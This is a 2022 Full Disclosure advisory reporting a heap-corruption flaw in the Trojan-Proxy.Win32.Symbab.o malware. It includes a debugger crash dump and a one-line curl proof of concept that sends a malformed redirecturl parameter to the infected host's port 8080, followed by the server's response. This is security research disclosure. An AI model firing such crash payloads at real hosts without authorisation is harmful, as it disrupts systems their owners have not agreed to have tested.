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Date: Mon, 6 Jun 2022 22:12:16 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Trojan-Proxy.Win32.Symbab.o / Heap Corruption

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/bffc519fbaf2d119bd307cd22368cdc7.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Trojan-Proxy.Win32.Symbab.o
Vulnerability: Heap Corruption
Description: The malware listens on TCP port 8080. Attackers who can reach
an infected system can send a corrupt HTTP request for the "redirecturl"
parameter causing a heap corruption.
Family: Symbab
Type: PE32
MD5: bffc519fbaf2d119bd307cd22368cdc7
Vuln ID: MVID-2022-0610
Disclosure: 06/06/2022

Memory Dump:
(670.1e5c): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=049fff48 edx=00000290 esi=00000003
edi=00000003
eip=7770ed3c esp=049fb564 ebp=049fb6f4 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
7770ed3c c21400          ret     14h

0:007> .ecxr
eax=00000290 ebx=000002d8 ecx=049fff48 edx=00000290 esi=00450000
edi=00000000
eip=776df2e1 esp=049fbea0 ebp=049fbee0 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
ntdll!RtlFreeHeap+0xa1:
776df2e1 8078ff05        cmp     byte ptr [eax-1],5
ds:002b:0000028f=??

0:007> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

*** WARNING: Unable to verify checksum for
Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e
*** ERROR: Module load completed but symbols could not be loaded for
Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e

FAULTING_IP:
ntdll!RtlFreeHeap+a1
776df2e1 8078ff05        cmp     byte ptr [eax-1],5

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 776df2e1 (ntdll!RtlFreeHeap+0x000000a1)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 0000028f
Attempt to read from address 0000028f

PROCESS_NAME:
 Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  0000028f

READ_ADDRESS:  0000028f

FOLLOWUP_IP:
Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c
004a260c 83c404          add     esp,4

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00001e5c

BUGCHECK_STR:
 APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ

PRIMARY_PROBLEM_CLASS:
 ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument

DEFAULT_BUCKET_ID:  ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument

LAST_CONTROL_TRANSFER:  from 744d7065 to 776df2e1

STACK_TEXT:
049fbee0 744d7065 00450000 00000000 00000290 ntdll!RtlFreeHeap+0xa1
049fbf2c 004a260c 00000290 049fff68 004a434a msvcrt!free+0x65
WARNING: Stack unwind information not available. Following frames may be
wrong.
049fbf38 004a434a 049fff48 50545448 312e312f
Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x260c
049fff68 004a43d7 00000290 00000290 00000004
Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x434a
049fff80 77408654 000002d8 77408630 42500cba
Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x43d7
049fff94 77704a77 000002d8 37e18a47 00000000
kernel32!BaseThreadInitThunk+0x24
049fffdc 77704a47 ffffffff 77729eca 00000000 ntdll!__RtlUserThreadStart+0x2f
049fffec 00000000 004a438c 000002d8 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  !heap ; ~7s; .ecxr ; kb

SYMBOL_STACK_INDEX:  2

SYMBOL_NAME:
 Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7

IMAGE_NAME:  Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e

DEBUG_FLR_IMAGE_TIMESTAMP:  4168069f

FAILURE_BUCKET_ID:
 ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_c0000005_Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e!Unknown

BUCKET_ID:
 APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c

Followup: MachineOwner


Exploit/PoC:
curl "http://192.168.18.125:8080/?redirecturl=http://0x41414141" -v

Connected to 192.168.18.125 (192.168.18.125) port 8080 (#0)
GET /?redirecturl=http://0x41414141 HTTP/1.1
Host: 192.168.18.125:8080
User-Agent: curl/7.47.1
Accept: */*

HTTP 1.0, assume close after body
HTTP/1.0 400 Bad Request
Server: ProxyServer/0.0.1
Mime-Version: 1.0
Date: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html
Content-Length: 24
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Squid-Error: ERR_INVALID_URL 0
X-Cache: MISS from www.rambler.ru
Connection: close

Unsupported protocol


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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